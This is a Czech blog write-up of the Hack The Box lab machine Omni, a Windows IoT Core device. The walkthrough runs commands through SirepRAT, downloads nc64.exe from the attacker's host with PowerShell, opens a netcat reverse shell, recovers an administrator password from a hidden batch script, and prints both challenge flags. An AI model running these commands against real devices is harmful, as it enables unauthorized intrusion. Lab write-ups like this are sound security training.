tom@home.htb:~$

Blog o HTB

23 December 2020

Omni

Úvod a kontext

Omni je spíš embedded zařízení než klasický Windows server. Na 8080/tcp neběží běžná aplikace, ale Windows Device Portal pro Windows IoT Core. A i flagy jsou uložené jinak než obvykle: ne jako textové soubory, ale jako PowerShell CliXml serializované credential objekty.

Právě tahle odlišnost je na stroji nejzajímavější. Nedává smysl hledat SMB, WinRM nebo typické doménové chyby. Celý řetězec stojí na správě IoT zařízení, na rozhraní Sirep a na provozním skriptu, který sám resetuje heslo administrátora.

Z pohledu architektury je Omni dobrý doplněk i k článku Exponovaná debug, maintenance a administrační rozhraní, protože Windows Device Portal je přesně ten typ rozhraní, který vypadá jako servisní detail, ale ve skutečnosti tvoří hlavní správní vrstvu zařízení.

Počáteční průzkum

Windows Device Portal na 8080

Scan ukáže jen RPC na 135/tcp a HTTP službu na 8080/tcp. Ta vrací 401 Unauthorized s realmem Windows Device Portal, takže je hned jasné, že cíl běží na Windows IoT a že další postup se má soustředit právě na správu zařízení.

IP=10.10.10.204;ports=$(nmap -p- --min-rate=1000 -T3 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);nmap -p $ports -A -sC -sV -v -Pn $IP
135/tcp  open  msrpc   Microsoft Windows RPC
8080/tcp open  upnp    Microsoft IIS httpd
| http-auth:
| HTTP/1.1 401 Unauthorized
|_  Basic realm=Windows Device Portal

V tu chvíli dává smysl zahodit běžné webové workflow a přepnout se na nástroje pro Windows IoT.

Analýza zjištění

SirepRAT jako první příkazový kontext

Na Omni funguje SirepRAT, který umí přes Sirep rozhraní spouštět příkazy na zařízení i bez běžného interaktivního shellu. Nejprve dává smysl ověřit, že spojení funguje a že příkazy běží v kontextu přihlášeného uživatele.

python SirepRAT.py 10.10.10.204 GetSystemInformationFromDevice
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo "

Jakmile je potvrzené vzdálené spouštění, nejpraktičtější je stáhnout si na zařízení nc64.exe a otevřít si první reverzní shell.

python -m SimpleHTTPServer 8000
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "powershell" --args " iwr http://10.10.14.17:8000/nc64.exe -outfile c:\programdata\nc64.exe"

Skrytý r.bat a heslo administrátora

Po získání shellu je klíčové projít i skryté batch soubory. Právě tam leží hlavní tajemství stroje: r.bat v nekonečné smyčce resetuje heslo lokálního účtu administrator na _1nt3rn37ofTh1nGz a zároveň maže ostatní členy skupiny administrators.

dir /a:h /b /s *.bat
@echo off

:LOOP

for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete

net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz

Tohle je rozhodující bridge krok. Není potřeba hledat další privilege escalation. Stačí zneužít už existující správní mechanizmus zařízení a přihlásit se do Device Portalu jako administrator.

Je to zároveň čistý provozní pattern popsaný v článku Údržbové skripty a provozní automaty jako zdroj přístupů: maintenance rutina neobsahuje exploit, ale sama resetuje privilegovaný přístup do předvídatelného stavu.

Získání přístupu

Device Portal jako administrator

Po přihlášení do Windows Device Portalu s nalezeným heslem už není potřeba další exploit. V sekci Processes -> Run Command lze spustit nc64.exe a otevřít si plnohodnotný PowerShell shell jako administrátor.

c:\programdata\nc64.exe 10.10.14.17 4000 -e powershell

Na Omni je to zároveň uživatelský i privilegovaný kontext. Flagy jsou ale uložené jako serializované PowerShell credentials, takže je nestačí type nebo cat.

Získání user flagu

User flag je potřeba importovat jako CliXml a vytáhnout z něj skutečné heslo/secret.

Právě takové ne-textové credential kontejnery rozebírám i v článku Klientské, desktopové a ne-textové artefakty po footholdu, protože po prvním shellu bývají podobné formáty často cennější než obyčejné .txt soubory.

$credential = Import-CliXml -Path user.txt
$credential.GetNetworkCredential().Password
7cfd50f6bc34db3204898f1505ad9d70

Eskalace oprávnění

Získání root flagu

Na Omni už po přihlášení jako administrator není samostatná privilege escalation potřeba. Root flag je uložený stejným způsobem jako user flag, takže se znovu čte přes Import-CliXml.

$credential = Import-CliXml -Path root.txt
$credential.GetNetworkCredential().Password
5dbdce5569e2c4708617c0ce6e9bf11d

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: windows - exploit - enumeration - privesc - hackthebox